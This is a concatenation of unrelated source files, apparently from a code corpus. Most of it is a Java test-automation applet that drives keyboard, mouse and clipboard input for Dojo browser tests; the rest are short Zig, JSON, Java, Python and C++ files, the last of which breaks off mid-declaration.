KeyEvent.VK_ASTERISK, KeyEvent.VK_QUOTEDBL, KeyEvent.VK_LESS, KeyEvent.VK_GREATER, KeyEvent.VK_BRACELEFT, KeyEvent.VK_BRACERIGHT, KeyEvent.VK_COLON, KeyEvent.VK_BACK_QUOTE, KeyEvent.VK_QUOTE, KeyEvent.VK_OPEN_BRACKET, KeyEvent.VK_BACK_SLASH, KeyEvent.VK_CLOSE_BRACKET, KeyEvent.VK_EQUALS }; for (int i = 0; i < mykeys.length; i++){ vkKeys.add(new Integer(mykeys[i])); } }catch(Exception e){ e.printStackTrace(); } robot.setAutoDelay(1); // prime the event pump for Google Chome - so fast it doesn't even stop to listen for key events! // send spaces until JS says to stop int count=0; boolean waitingOnSpace = true; do{ log("Pressed space"); robot.keyPress(KeyEvent.VK_SPACE); robot.keyRelease(KeyEvent.VK_SPACE); count++; waitingOnSpace = ((Boolean)window.eval("doh.robot._spaceReceived")).equals(Boolean.FALSE); log("JS still waiting on a space? "+waitingOnSpace); }while(count<500&&waitingOnSpace); robot.keyPress(KeyEvent.VK_ENTER); robot.keyRelease(KeyEvent.VK_ENTER); robot.setAutoDelay(0); log("< initKeyboard"); pressNext(); return null; } }); } }; threadPool.execute(thread); } public void typeKey(double sec, final int charCode, final int keyCode, final boolean alt, final boolean ctrl, final boolean shift, final boolean meta, final int delay, final boolean async){ if(!isSecure(sec)) return; // called by doh.robot._keyPress // see it for details AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ try{ log("> typeKey Robot " + charCode + ", " + keyCode + ", " + async); KeyPressThread thread = new KeyPressThread(charCode, keyCode, alt, ctrl, shift, meta, delay); if(async){ Thread asyncthread=new Thread(thread); asyncthread.start(); }else{ threadPool.execute(thread); } log("< typeKey Robot"); }catch(Exception e){ log("Error calling typeKey"); e.printStackTrace(); } return null; } }); } public void upKey(double sec, final int charCode, final int keyCode, final int delay){ // called by doh.robot.keyDown // see it for details // a nice name like "keyUp" is reserved in Java if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ log("> upKey Robot " + charCode + ", " + keyCode); KeyUpThread thread = new KeyUpThread(charCode, keyCode, delay); threadPool.execute(thread); log("< upKey Robot"); return null; } }); } public void downKey(double sec, final int charCode, final int keyCode, final int delay){ // called by doh.robot.keyUp // see it for details // a nice name like "keyDown" is reserved in Java if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ log("> downKey Robot " + charCode + ", " + keyCode); KeyDownThread thread = new KeyDownThread(charCode, keyCode, delay); threadPool.execute(thread); log("< downKey Robot"); return null; } }); } public void pressMouse(double sec, final boolean left, final boolean middle, final boolean right, final int delay){ if(!isSecure(sec)) return; // called by doh.robot.mousePress // see it for details // a nice name like "mousePress" is reserved in Java AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ log("> mousePress Robot " + left + ", " + middle + ", " + right); MousePressThread thread = new MousePressThread( (left ? InputEvent.BUTTON1_MASK : 0) + (middle ? InputEvent.BUTTON2_MASK : 0) + (right ? InputEvent.BUTTON3_MASK : 0), delay); threadPool.execute(thread); log("< mousePress Robot"); return null; } }); } public void releaseMouse(double sec, final boolean left, final boolean middle, final boolean right, final int delay){ if(!isSecure(sec)) return; // called by doh.robot.mouseRelease // see it for details // a nice name like "mouseRelease" is reserved in Java AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ log("> mouseRelease Robot " + left + ", " + middle + ", " + right); MouseReleaseThread thread = new MouseReleaseThread( (left ? InputEvent.BUTTON1_MASK : 0) + (middle ? InputEvent.BUTTON2_MASK : 0) + (right ? InputEvent.BUTTON3_MASK : 0), delay ); threadPool.execute(thread); log("< mouseRelease Robot"); return null; } }); } protected boolean destinationInView(int x, int y){ return !(x > docScreenXMax || y > docScreenYMax || x < docScreenX || y < docScreenY); } public void moveMouse(double sec, final int x1, final int y1, final int d, final int duration){ // called by doh.robot.mouseMove // see it for details // a nice name like "mouseMove" is reserved in Java if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ int x = x1 + docScreenX; int y = y1 + docScreenY; if(!destinationInView(x,y)){ // TODO: try to scroll view log("Request to mouseMove denied"); return null; } int delay = d; log("> mouseMove Robot " + x + ", " + y); MouseMoveThread thread = new MouseMoveThread(x, y, delay, duration); threadPool.execute(thread); log("< mouseMove Robot"); return null; } }); } public void wheelMouse(double sec, final int amount, final int delay, final int duration){ // called by doh.robot.mouseWheel // see it for details if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ MouseWheelThread thread = new MouseWheelThread(amount, delay, duration); threadPool.execute(thread); return null; } }); } private int getVKCode(int charCode, int keyCode){ int keyboardCode = 0; if(charCode >= 32){ // if it is printable, then it lives in our hashmap KeyEvent event = (KeyEvent) charMap.get(new Integer(charCode)); keyboardCode = event.getKeyCode(); } else{ switch (keyCode){ case 13: keyboardCode = KeyEvent.VK_ENTER; break; case 8: keyboardCode = KeyEvent.VK_BACK_SPACE; break; case 25:// shift tab for Safari case 9: keyboardCode = KeyEvent.VK_TAB; break; case 12: keyboardCode = KeyEvent.VK_CLEAR; break; case 16: keyboardCode = KeyEvent.VK_SHIFT; break; case 17: keyboardCode = KeyEvent.VK_CONTROL; break; case 18: keyboardCode = KeyEvent.VK_ALT; break; case 63250: case 19: keyboardCode = KeyEvent.VK_PAUSE; break; case 20: keyboardCode = KeyEvent.VK_CAPS_LOCK; break; case 27: keyboardCode = KeyEvent.VK_ESCAPE; break; case 32: log("it's a space"); keyboardCode = KeyEvent.VK_SPACE; break; case 63276: case 33: keyboardCode = KeyEvent.VK_PAGE_UP; break; case 63277: case 34: keyboardCode = KeyEvent.VK_PAGE_DOWN; break; case 63275: case 35: keyboardCode = KeyEvent.VK_END; break; case 63273: case 36: keyboardCode = KeyEvent.VK_HOME; break; /** * Constant for the <b>left</b> arrow key. */ case 63234: case 37: keyboardCode = KeyEvent.VK_LEFT; break; /** * Constant for the <b>up</b> arrow key. */ case 63232: case 38: keyboardCode = KeyEvent.VK_UP; break; /** * Constant for the <b>right</b> arrow key. */ case 63235: case 39: keyboardCode = KeyEvent.VK_RIGHT; break; /** * Constant for the <b>down</b> arrow key. */ case 63233: case 40: keyboardCode = KeyEvent.VK_DOWN; break; case 63272: case 46: keyboardCode = KeyEvent.VK_DELETE; break; case 224: case 91: keyboardCode = KeyEvent.VK_META; break; case 63289: case 144: keyboardCode = KeyEvent.VK_NUM_LOCK; break; case 63249: case 145: keyboardCode = KeyEvent.VK_SCROLL_LOCK; break; /** Constant for the F1 function key. */ case 63236: case 112: keyboardCode = KeyEvent.VK_F1; break; /** Constant for the F2 function key. */ case 63237: case 113: keyboardCode = KeyEvent.VK_F2; break; /** Constant for the F3 function key. */ case 63238: case 114: keyboardCode = KeyEvent.VK_F3; break; /** Constant for the F4 function key. */ case 63239: case 115: keyboardCode = KeyEvent.VK_F4; break; /** Constant for the F5 function key. */ case 63240: case 116: keyboardCode = KeyEvent.VK_F5; break; /** Constant for the F6 function key. */ case 63241: case 117: keyboardCode = KeyEvent.VK_F6; break; /** Constant for the F7 function key. */ case 63242: case 118: keyboardCode = KeyEvent.VK_F7; break; /** Constant for the F8 function key. */ case 63243: case 119: keyboardCode = KeyEvent.VK_F8; break; /** Constant for the F9 function key. */ case 63244: case 120: keyboardCode = KeyEvent.VK_F9; break; /** Constant for the F10 function key. */ case 63245: case 121: keyboardCode = KeyEvent.VK_F10; break; /** Constant for the F11 function key. */ case 63246: case 122: keyboardCode = KeyEvent.VK_F11; break; /** Constant for the F12 function key. */ case 63247: case 123: keyboardCode = KeyEvent.VK_F12; break; /** * Constant for the F13 function key. * * @since 1.2 */ /* * F13 - F24 are used on IBM 3270 keyboard; break; use * random range for constants. */ case 124: keyboardCode = KeyEvent.VK_F13; break; /** * Constant for the F14 function key. * * @since 1.2 */ case 125: keyboardCode = KeyEvent.VK_F14; break; /** * Constant for the F15 function key. * * @since 1.2 */ case 126: keyboardCode = KeyEvent.VK_F15; break; case 63302: case 45: keyboardCode = KeyEvent.VK_INSERT; break; case 47: keyboardCode = KeyEvent.VK_HELP; break; default: keyboardCode = keyCode; } } log("Attempting to type " + (char) charCode + ":" + charCode + " " + keyCode); log("Converted to " + keyboardCode); return keyboardCode; } private boolean isUnsafe(int keyboardCode){ // run through exemption list log("ctrl: "+ctrl+", alt: "+alt+", shift: "+shift); if(((ctrl || alt) && keyboardCode == KeyEvent.VK_ESCAPE) || (alt && keyboardCode == KeyEvent.VK_TAB) || (ctrl && alt && keyboardCode == KeyEvent.VK_DELETE)){ log("You are not allowed to press this key combination!"); return true; // bugged keys cases go next }else{ log("Safe to press."); return false; } } private boolean disableNumlock(int vk, boolean shift){ boolean result = !numlockDisabled&&shift &&os.indexOf("WINDOWS")!=-1 &&toolkit.getLockingKeyState(KeyEvent.VK_NUM_LOCK) // only works on Windows &&( // any numpad buttons are suspect vk==KeyEvent.VK_LEFT ||vk==KeyEvent.VK_UP ||vk==KeyEvent.VK_RIGHT ||vk==KeyEvent.VK_DOWN ||vk==KeyEvent.VK_HOME ||vk==KeyEvent.VK_END ||vk==KeyEvent.VK_PAGE_UP ||vk==KeyEvent.VK_PAGE_DOWN ); log("disable numlock: "+result); return result; } private void _typeKey(final int cCode, final int kCode, final boolean a, final boolean c, final boolean s, final boolean m){ AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ int charCode = cCode; int keyCode = kCode; boolean alt = a; boolean ctrl = c; boolean shift = s; boolean meta = m; boolean altgraph = false; log("> _typeKey Robot " + charCode + ", " + keyCode); try{ int keyboardCode=getVKCode(charCode, keyCode); if(charCode >= 32){ // if it is printable, then it lives in our hashmap KeyEvent event = (KeyEvent) charMap.get(new Integer(charCode)); // see if we need to press shift to generate this // character if(!shift){ shift = event.isShiftDown(); } altgraph = event.isAltGraphDown(); keyboardCode = event.getKeyCode(); } // Java bug: on Windows, shift+arrow key unpresses shift when numlock is on. // See: http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4838497 boolean disableNumlock=disableNumlock(keyboardCode,shift||applet().shift); // run through exemption list if(!isUnsafe(keyboardCode)){ if(shift){ log("Pressing shift"); robot.keyPress(KeyEvent.VK_SHIFT); } if(alt){ log("Pressing alt"); robot.keyPress(KeyEvent.VK_ALT); } if(altgraph){ log("Pressing altgraph"); robot.keyPress(KeyEvent.VK_ALT_GRAPH); } if(ctrl){ log("Pressing ctrl"); robot.keyPress(KeyEvent.VK_CONTROL); } if(meta){ log("Pressing meta"); robot.keyPress(KeyEvent.VK_META); } if(disableNumlock){ robot.keyPress(KeyEvent.VK_NUM_LOCK); robot.keyRelease(KeyEvent.VK_NUM_LOCK); numlockDisabled=true; }else if(numlockDisabled&&!(applet().shift||shift)){ // only turn it back on when the user is finished pressing shifted arrow keys robot.keyPress(KeyEvent.VK_NUM_LOCK); robot.keyRelease(KeyEvent.VK_NUM_LOCK); numlockDisabled=false; } if(keyboardCode != KeyEvent.VK_SHIFT && keyboardCode != KeyEvent.VK_ALT && keyboardCode != KeyEvent.VK_ALT_GRAPH && keyboardCode != KeyEvent.VK_CONTROL && keyboardCode != KeyEvent.VK_META){ try{ robot.keyPress(keyboardCode); robot.keyRelease(keyboardCode); }catch(Exception e){ log("Error while actually typing a key"); e.printStackTrace(); } } if(ctrl){ robot.keyRelease(KeyEvent.VK_CONTROL); ctrl = false; } if(alt){ robot.keyRelease(KeyEvent.VK_ALT); alt = false; } if(altgraph){ robot.keyRelease(KeyEvent.VK_ALT_GRAPH); altgraph = false; } if(shift){ log("Releasing shift"); robot.keyRelease(KeyEvent.VK_SHIFT); shift = false; } if(meta){ log("Releasing meta"); robot.keyRelease(KeyEvent.VK_META); meta = false; } } }catch(Exception e){ log("Error in _typeKey"); e.printStackTrace(); } log("< _typeKey Robot"); return null; } }); } public boolean hasFocus(){ // sanity check to make sure the robot isn't clicking outside the window when the browser is minimized for instance try{ boolean result= ((Boolean) window .eval("var result=false;if(window.parent.document.hasFocus){result=window.parent.document.hasFocus();}else{result=true;}result;")) .booleanValue(); if(!result){ // can happen for instance if the browser minimized itself, or if there is another applet on the page. // recompute window,mouse positions to see if it is still safe to continue. log("Document focus lost. Recomputing window position"); Point p = getLocationOnScreen(); log("Old root: "+docScreenX+" "+docScreenY); docScreenX=p.x-margin.x; docScreenY=p.y-margin.y; log("New root: "+docScreenX+" "+docScreenY); docScreenXMax=docScreenX+((Integer)window.eval("window.parent.document.getElementById('dohrobotview').offsetLeft")).intValue(); docScreenYMax=docScreenY+((Integer)window.eval("window.parent.document.getElementById('dohrobotview').offsetTop")).intValue(); // bring browser to the front again. // if the window just blurred and moved, key events will again be directed to the window. // if an applet stole focus, focus will still be directed to the applet; the test script will ultimately have to click something to get back to a normal state. window.eval("window.parent.focus();"); // recompute mouse position return isSecure(this.key); }else{ return result; } }catch(Exception e){ // runs even after you close the window! return false; } } // Threads for common Robot tasks // (so as not to tie up the browser rendering thread!) // declared inside so they have private access to the robot // we do *not* want to expose that guy! private class ProfilingThread implements Runnable{ protected long delay=0; protected long duration=0; private long start; private long oldDelay; protected void startProfiling(){ // error correct if(delay>0){ oldDelay=delay; delay-=timingError+(duration>0?timingError:0); log("Timing error: "+timingError); if(delay<1){ if(duration>0){ duration=Math.max(duration+delay,1); } delay=1; } start=System.currentTimeMillis(); }else{ // assumption is that only doh.robot.typeKeys actually uses delay/needs this level of error correcting timingError=0; } } protected void endProfiling(){ // adaptively correct timingError if(delay>0){ long end=System.currentTimeMillis(); timingError+=(end-start)-oldDelay; } } public void run(){} } // Unclear why we have to fire keypress in a separate thread. // Since delay is no longer used, maybe this code can be simplified. final private class KeyPressThread extends ProfilingThread{ private int charCode; private int keyCode; private boolean alt; private boolean ctrl; private boolean shift; private boolean meta; public KeyPressThread(int charCode, int keyCode, boolean alt, boolean ctrl, boolean shift, boolean meta, int delay){ log("KeyPressThread constructor " + charCode + ", " + keyCode); this.charCode = charCode; this.keyCode = keyCode; this.alt = alt; this.ctrl = ctrl; this.shift = shift; this.meta = meta; this.delay = delay; } public void run(){ try{ startProfiling(); // in different order so async works while(!hasFocus()){ Thread.sleep(1000); } Thread.sleep(delay); log("> run KeyPressThread"); _typeKey(charCode, keyCode, alt, ctrl, shift, meta); endProfiling(); }catch(Exception e){ log("Bad parameters passed to _typeKey"); e.printStackTrace(); } log("< run KeyPressThread"); } } final private class KeyDownThread extends ProfilingThread{ private int charCode; private int keyCode; public KeyDownThread(int charCode, int keyCode, int delay){ log("KeyDownThread constructor " + charCode + ", " + keyCode); this.charCode = charCode; this.keyCode = keyCode; this.delay = delay; } public void run(){ try{ Thread.sleep(delay); log("> run KeyDownThread"); while(!hasFocus()){ Thread.sleep(1000); } int vkCode=getVKCode(charCode, keyCode); if(charCode >= 32){ // if it is printable, then it lives in our hashmap KeyEvent event = (KeyEvent) charMap.get(new Integer(charCode)); // see if we need to press shift to generate this // character if(event.isShiftDown()){ robot.keyPress(KeyEvent.VK_SHIFT); shift=true; } if(event.isAltGraphDown()){ robot.keyPress(KeyEvent.VK_ALT_GRAPH); altgraph=true; } }else{ if(vkCode==KeyEvent.VK_ALT){ alt=true; }else if(vkCode==KeyEvent.VK_CONTROL){ ctrl=true; }else if(vkCode==KeyEvent.VK_SHIFT){ shift=true; }else if(vkCode==KeyEvent.VK_ALT_GRAPH){ altgraph=true; }else if(vkCode==KeyEvent.VK_META){ meta=true; }else if(disableNumlock(vkCode,shift)){ robot.keyPress(KeyEvent.VK_NUM_LOCK); robot.keyRelease(KeyEvent.VK_NUM_LOCK); numlockDisabled=true; } } if(!isUnsafe(vkCode)){ robot.keyPress(vkCode); } }catch(Exception e){ log("Bad parameters passed to downKey"); e.printStackTrace(); } log("< run KeyDownThread"); } } final private class KeyUpThread extends ProfilingThread{ private int charCode; private int keyCode; public KeyUpThread(int charCode, int keyCode, int delay){ log("KeyUpThread constructor " + charCode + ", " + keyCode); this.charCode = charCode; this.keyCode = keyCode; this.delay = delay; } public void run(){ try{ Thread.sleep(delay); log("> run KeyUpThread"); while(!hasFocus()){ Thread.sleep(1000); } int vkCode=getVKCode(charCode, keyCode); if(charCode >= 32){ // if it is printable, then it lives in our hashmap KeyEvent event = (KeyEvent) charMap.get(new Integer(charCode)); // see if we need to press shift to generate this // character if(event.isShiftDown()){ robot.keyRelease(KeyEvent.VK_SHIFT); shift=false; } if(event.isAltGraphDown()){ robot.keyRelease(KeyEvent.VK_ALT_GRAPH); altgraph=false; } }else{ if(vkCode==KeyEvent.VK_ALT){ alt=false; }else if(vkCode==KeyEvent.VK_CONTROL){ ctrl=false; }else if(vkCode==KeyEvent.VK_SHIFT){ shift=false; if(numlockDisabled){ robot.keyPress(KeyEvent.VK_NUM_LOCK); robot.keyRelease(KeyEvent.VK_NUM_LOCK); numlockDisabled=false; } }else if(vkCode==KeyEvent.VK_ALT_GRAPH){ altgraph=false; }else if(vkCode==KeyEvent.VK_META){ meta=false; } } robot.keyRelease(vkCode); }catch(Exception e){ log("Bad parameters passed to upKey"); e.printStackTrace(); } log("< run KeyUpThread"); } } final private class MousePressThread extends ProfilingThread{ private int mask; public MousePressThread(int mask, int delay){ this.mask = mask; this.delay = delay; } public void run(){ try{ Thread.sleep(delay); log("> run MousePressThread"); while(!hasFocus()){ Thread.sleep(1000); } robot.mousePress(mask); robot.waitForIdle(); }catch(Exception e){ log("Bad parameters passed to mousePress"); e.printStackTrace(); } log("< run MousePressThread"); } } final private class MouseReleaseThread extends ProfilingThread{ private int mask; public MouseReleaseThread(int mask, int delay){ this.mask = mask; this.delay = delay; } public void run(){ try{ Thread.sleep(delay); log("> run MouseReleaseThread "); while(!hasFocus()){ Thread.sleep(1000); } robot.mouseRelease(mask); robot.waitForIdle(); }catch(Exception e){ log("Bad parameters passed to mouseRelease"); e.printStackTrace(); } log("< run MouseReleaseThread "); } } final private class MouseMoveThread extends ProfilingThread{ private int x; private int y; public MouseMoveThread(int x, int y, int delay, int duration){ this.x = x; this.y = y; this.delay = delay; this.duration = duration; } public double easeInOutQuad(double t, double b, double c, double d){ t /= d / 2; if(t < 1) return c / 2 * t * t + b; t--; return -c / 2 * (t * (t - 2) - 1) + b; }; public void run(){ try{ Thread.sleep(delay); log("> run MouseMoveThread " + x + ", " + y); while(!hasFocus()){ Thread.sleep(1000); } int x1 = lastMouseX; int x2 = x; int y1 = lastMouseY; int y2 = y; // shrink range by 1 px on both ends // manually move this 1px to trip DND code if(x1 != x2){ int dx = x - lastMouseX; if(dx > 0){ x1 += 1; x2 -= 1; }else{ x1 -= 1; x2 += 1; } } if(y1 != y2){ int dy = y - lastMouseY; if(dy > 0){ y1 += 1; y2 -= 1; }else{ y1 -= 1; y2 += 1; } } // manual precision robot.setAutoWaitForIdle(false); int intermediateSteps = duration==1?0: // duration==1 -> user wants to jump the mouse ((((int)Math.ceil(Math.log(duration+1)))|1)); // |1 to ensure an odd # of intermediate steps for sensible interpolation // assumption: intermediateSteps will always be >=0 int delay = (int)duration/(intermediateSteps+1); // +1 to include last move // First mouse movement fires at t=0 to official last know position of the mouse. robot.mouseMove(lastMouseX, lastMouseY); long start,end; // Shift lastMouseX/Y in the direction of the movement for interpolating over the smaller interval. lastMouseX=x1; lastMouseY=y1; // Now interpolate mouse movement from (lastMouseX=x1,lastMouseY=y1) to (x2,y2) // precondition: the amount of time that has passed since the first mousemove is 0*delay. // invariant: each time you end an iteration, after you increment t, the amount of time that has passed is t*delay int timingError=0; for (int t = 0; t < intermediateSteps; t++){ start=new Date().getTime(); Thread.sleep(delay); x1 = (int) easeInOutQuad((double) t, (double) lastMouseX, (double) x2 - lastMouseX, (double) intermediateSteps-1); y1 = (int) easeInOutQuad((double) t, (double) lastMouseY, (double) y2 - lastMouseY, (double) intermediateSteps-1); //log("("+x1+","+y1+")"); robot.mouseMove(x1, y1); end=new Date().getTime(); // distribute error among remaining steps timingError=(((int)(end-start))-delay)/(intermediateSteps-t); log("mouseMove timing error: "+timingError); delay=Math.max(delay-(int)timingError,1); } // postconditions: // t=intermediateSteps // intermediateSteps*delay time has passed, // time remaining = duration-intermediateSteps*delay = (steps+1)*delay-intermediateSteps*delay = delay // You theoretically need 1 more delay for the whole duration to have passed. // In practice, you want less than that due to roundoff errors in Java's clock granularity. Thread.sleep(delay); robot.mouseMove(x, y); robot.setAutoWaitForIdle(true); //log("mouseMove statistics: duration= "+duration+" steps="+intermediateSteps+" delay="+delay); //log("mouseMove discrepency: "+(date2-date-duration)+"ms"); lastMouseX = x; lastMouseY = y; }catch(Exception e){ log("Bad parameters passed to mouseMove"); e.printStackTrace(); } log("< run MouseMoveThread"); } } final private class MouseWheelThread extends ProfilingThread{ private int amount; public MouseWheelThread(int amount, int delay, int duration){ this.amount = amount; this.delay = delay; this.duration = duration; } public void run(){ try{ Thread.sleep(delay); log("> run MouseWheelThread " + amount); while(!hasFocus()){ Thread.sleep(1000); } robot.setAutoDelay(Math.max((int)duration/Math.abs(amount),1)); for(int i=0; i<Math.abs(amount); i++){ robot.mouseWheel(amount>0?dir:-dir); } robot.setAutoDelay(1); }catch(Exception e){ log("Bad parameters passed to mouseWheel"); e.printStackTrace(); } log("< run MouseWheelThread "); } } final private class RobotSecurityManager extends SecurityManager{ // The applet's original security manager. // There is a bug in some people's Safaris that causes Safari to // basically hang on liveconnect calls. // Our security manager fixes it. private boolean isActive = false; private boolean needsSecurityManager = false; private SecurityManager oldsecurity = null; public RobotSecurityManager(boolean needsSecurityManager, SecurityManager oldsecurity){ this.needsSecurityManager = needsSecurityManager; this.oldsecurity = oldsecurity; } public boolean checkTopLevelWindow(Object window){ // If our users temporarily accept our cert for a session, // then use the same session to browse to a malicious website also using our applet, // that website can automatically execute the applet. // To resolve this issue, RobotSecurityManager overrides checkTopLevelWindow // to check the JVM to see if there are other instances of the applet running on different domains. // If there are, it prompts the user to confirm that they want to run the applet before continuing. // null is not supposed to be allowed // so we allow it to distinguish our security manager. if(window == null){ isActive = !isActive; log("Active is now " + isActive); } return window == null ? true : oldsecurity .checkTopLevelWindow(window); } public void checkPermission(Permission p){ // liveconnect SocketPermission resolve takes // FOREVER (like 6 seconds) in Safari 3 // Java does like 50 of these on the first JS call // 6*50=300 seconds! if(isActive && needsSecurityManager && java.net.SocketPermission.class.isInstance(p) && p.getActions().matches(".*resolve.*")){ throw new SecurityException( "DOH: liveconnect resolve locks up Safari 3. Denying resolve request."); }else if(p.equals(new java.awt.AWTPermission("watchMousePointer"))){ // enable robot to watch mouse }else{ oldsecurity.checkPermission(p); } } public void checkPermission(Permission perm, Object context){ checkPermission(perm); } } public void setClipboardText(double sec, final String data) { if(!isSecure(sec)) return; // called by doh.robot.setClipboard // see it for details AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ StringSelection ss = new StringSelection(data); getSystemClipboard().setContents(ss, ss); return null; } }); } public void setClipboardHtml(double sec, final String data) { if(!isSecure(sec)) return; // called by doh.robot.setClipboard when format=='text/html' // see it for details AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ String mimeType = "text/html;class=java.lang.String";//type + "; charset=" + charset;// + "; class=" + transferType; TextTransferable transferable = new TextTransferable(mimeType, data); getSystemClipboard().setContents(transferable, transferable); return null; } }); } private static java.awt.datatransfer.Clipboard getSystemClipboard() { return toolkit.getSystemClipboard(); } private static class TextTransferable implements Transferable, ClipboardOwner { private String data; private static ArrayList htmlFlavors = new ArrayList(); static{ try{ htmlFlavors.add(new DataFlavor("text/plain;charset=UTF-8;class=java.lang.String")); htmlFlavors.add(new DataFlavor("text/html;charset=UTF-8;class=java.lang.String")); }catch(ClassNotFoundException ex){ ex.printStackTrace(); } } public TextTransferable(String mimeType, String data){ this.data = data; } public DataFlavor[] getTransferDataFlavors(){ return (DataFlavor[]) htmlFlavors.toArray(new DataFlavor[htmlFlavors.size()]); } public boolean isDataFlavorSupported(DataFlavor flavor){ return htmlFlavors.contains(flavor); } public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException{ if (String.class.equals(flavor.getRepresentationClass())){ return data; } throw new UnsupportedFlavorException(flavor); } public void lostOwnership(java.awt.datatransfer.Clipboard clipboard, Transferable contents){ data = null; } } }
22,799
12,718
<reponame>lukekras/zig<gh_stars>1000+ #include_next <errno.h> #define EOPNOTSUPP ENOTSUP
41
335
<filename>D/Debridement_noun.json { "word": "Debridement", "definitions": [ "The removal of damaged tissue or foreign objects from a wound." ], "parts-of-speech": "Noun" }
79
310
{ "name": "SR80i", "description": "Headphones.", "url": "https://www.amazon.com/Grado-SR80i-Headphone-Discontinued-Manufacturer/dp/B0055P9K38" }
64
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.core.spi.multiview; import org.netbeans.core.multiview.Accessor; import org.netbeans.core.multiview.MultiViewElementCallbackDelegate; import org.netbeans.core.multiview.MultiViewHandlerDelegate; import org.netbeans.core.multiview.SpiAccessor; import org.netbeans.core.spi.multiview.MultiViewDescription; import org.netbeans.core.spi.multiview.MultiViewElement; /** * * @author mkleint */ class AccessorImpl extends SpiAccessor { /** Creates a new instance of AccessorImpl */ private AccessorImpl() { } static void createAccesor() { if (DEFAULT == null) { DEFAULT= new AccessorImpl(); } } @Override public MultiViewElementCallback createCallback(MultiViewElementCallbackDelegate delegate) { return new MultiViewElementCallback(delegate); } @Override public CloseOperationHandler createDefaultCloseHandler() { return MultiViewFactory.createDefaultCloseOpHandler(); } @Override public boolean shouldCheckCanCloseAgain( CloseOperationHandler closeHandler ) { if( closeHandler instanceof MultiViewFactory.DefaultCloseHandler ) return ((MultiViewFactory.DefaultCloseHandler)closeHandler).shouldCheckCanCloseAgain(); return false; } }
660
713
package org.infinispan.cli.util; import java.io.InputStream; import java.util.Iterator; import java.util.regex.Pattern; /** * @author <NAME> &lt;<EMAIL>&gt; * @since 10.0 **/ public class IterableReader implements Iterable<String> { private final ReaderIterator iterator; public IterableReader(InputStream is, Pattern regex) { this.iterator = new ReaderIterator(is, regex); } @Override public Iterator<String> iterator() { return iterator; } }
163
356
<gh_stars>100-1000 """ Problem Statement: Python program to check given two strings are Anagram of each other or not . An anagram of a string is an another string that contains the same characters but the order of characters can be different. For example ,listen and silent are anagrams of each oter because all the characters in the string "listen" are present in string "silent". So, listen and silent are anagrams of each other. At First convert both strings to list of characters and sort them using sort() methid and check if both two list strings are equal print strings are anagrams of each other ,else print strings are not anagrams of eachother. """ def anagram(string1,string2): list_string1=list(string1) list_string1.sort() list_string2=list(string2) list_string2.sort() if(list_string1==list_string2): print("Given strings are anagrams of eachother") else: print("Given strings are not anagrams of eachother") string1=input("enter string1:") string2=input("enter string2:") anagram(string1,string2) """ Test cases: Input: Enter string1: silent Enter string2: listen Output: Given strings are anagrams of eachother Because here after sorting string1 and string2 ,list_string1=['e','i','l','n','s','t'] and list_string2=['e','i','l','n','s','t']. As list_string1 = list_string2 the given strings are anagrams of each other. Input: enter string1: hello enter string2: world Output: Given strings are not anagrams of eachother. Because here after sorting string1 and string2 ,list_string1=['e','h','l','l','o'] and list_string2=['d','l','o','r','w']. As list_string1 is not equal to list_string2 the given strings are not anagrams of each other. Time Complexity: O(nlogn) .Because time complexity for sort() function is O(nlogn) where n is the size of input that is the length of string. Space complexity: O(length(string1+string2)) """
611
8,629
<filename>src/Databases/TablesLoader.h #pragma once #include <Core/Types.h> #include <Core/QualifiedTableName.h> #include <Parsers/IAST_fwd.h> #include <Interpreters/Context_fwd.h> #include <Common/ThreadPool.h> #include <Common/Stopwatch.h> #include <map> #include <unordered_map> #include <unordered_set> #include <mutex> namespace Poco { class Logger; } class AtomicStopwatch; namespace DB { void logAboutProgress(Poco::Logger * log, size_t processed, size_t total, AtomicStopwatch & watch); class IDatabase; using DatabasePtr = std::shared_ptr<IDatabase>; struct ParsedTableMetadata { String path; ASTPtr ast; }; using ParsedMetadata = std::map<QualifiedTableName, ParsedTableMetadata>; using TableNames = std::vector<QualifiedTableName>; using TableNamesSet = std::unordered_set<QualifiedTableName>; struct DependenciesInfo { /// Set of dependencies TableNamesSet dependencies; /// Set of tables/dictionaries which depend on this table/dictionary TableNamesSet dependent_database_objects; }; using DependenciesInfos = std::unordered_map<QualifiedTableName, DependenciesInfo>; using DependenciesInfosIter = std::unordered_map<QualifiedTableName, DependenciesInfo>::iterator; void mergeDependenciesGraphs(DependenciesInfos & main_dependencies_info, const DependenciesInfos & additional_info); struct ParsedTablesMetadata { String default_database; std::mutex mutex; ParsedMetadata parsed_tables; /// For logging size_t total_dictionaries = 0; /// List of tables/dictionaries that do not have any dependencies and can be loaded TableNames independent_database_objects; /// Adjacent list of dependency graph, contains two maps /// 2. table/dictionary name -> dependent tables/dictionaries list (adjacency list of dependencies graph). /// 1. table/dictionary name -> dependencies of table/dictionary (adjacency list of inverted dependencies graph) /// If table A depends on table B, then there is an edge B --> A, i.e. dependencies_info[B].dependent_database_objects contains A /// and dependencies_info[A].dependencies contain B. /// We need inverted graph to effectively maintain it on DDL queries that can modify the graph. DependenciesInfos dependencies_info; }; /// Loads tables (and dictionaries) from specified databases /// taking into account dependencies between them. class TablesLoader { public: using Databases = std::map<String, DatabasePtr>; TablesLoader(ContextMutablePtr global_context_, Databases databases_, bool force_restore_ = false, bool force_attach_ = false); TablesLoader() = delete; void 